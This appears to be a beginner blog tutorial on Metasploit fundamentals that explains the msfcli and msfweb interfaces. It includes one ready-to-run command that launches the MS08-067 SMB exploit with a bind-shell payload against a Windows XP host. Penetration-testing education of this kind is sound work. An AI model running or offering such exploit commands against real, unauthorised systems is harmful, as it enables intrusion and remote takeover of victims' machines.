Metaspolit Framework Tutorial Part-2(Fundamentals)

For all the Metaspolit tutorials i will be  using backtrack 5 and you can also download it from backtrack offical site .

MSF fundamentals includes following terminologies
1)MsfCli
2)Msfweb
3)MsfConsole

1) MSFCLI :-
                          msfcli stands for metaspolit framework command line interface which supports launching of exploits and auxiliary Modules.

For using this utility you just need to open the terminal window in backtrack which is located at Applications-> Accessories->Terminal and type the msfcli command which will list you all the payloads and exploits which are there in the database . Initially it may look creepy but if you understand the concept behind it then it will be lot easier for you to launch the exploits through msfcli.

If you want to get the help about the usage of the msfcli command then just type in msfcli -h in terminal box.

Here i will just show how to launch a exploit using msfcli and i will not go deeply into exploits and payloads now.

lets say we have a windows xp sp2 machine and you want to launch an exploit on that machine ,So you can do it by using following command which includes ms08_067 exploit and blind_tcp payload

msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.201 PAYLOAD=windows/shell/bind_tcp E

This is how you use msfcli to launch an exploit

Advantages :-
1)Supports launching of exploits and auxiliary modules.
2)Excellent utility if you know what exploit you want to run on the remote machine.

Disadvantages :-
1)It is not flexible like msfconsole and in msfcli you can only use one shell at a time
2)It doesn't support any automation features of msfconsole 

2)MSFWEB:-

The msfweb interface provided users with a GUI to the framework but has now been deprecated and removed from the Metasploit  Framework because it was not stable.

MSFCONSOLE will be explained in the next tutorial .  

Posted in: Metasploit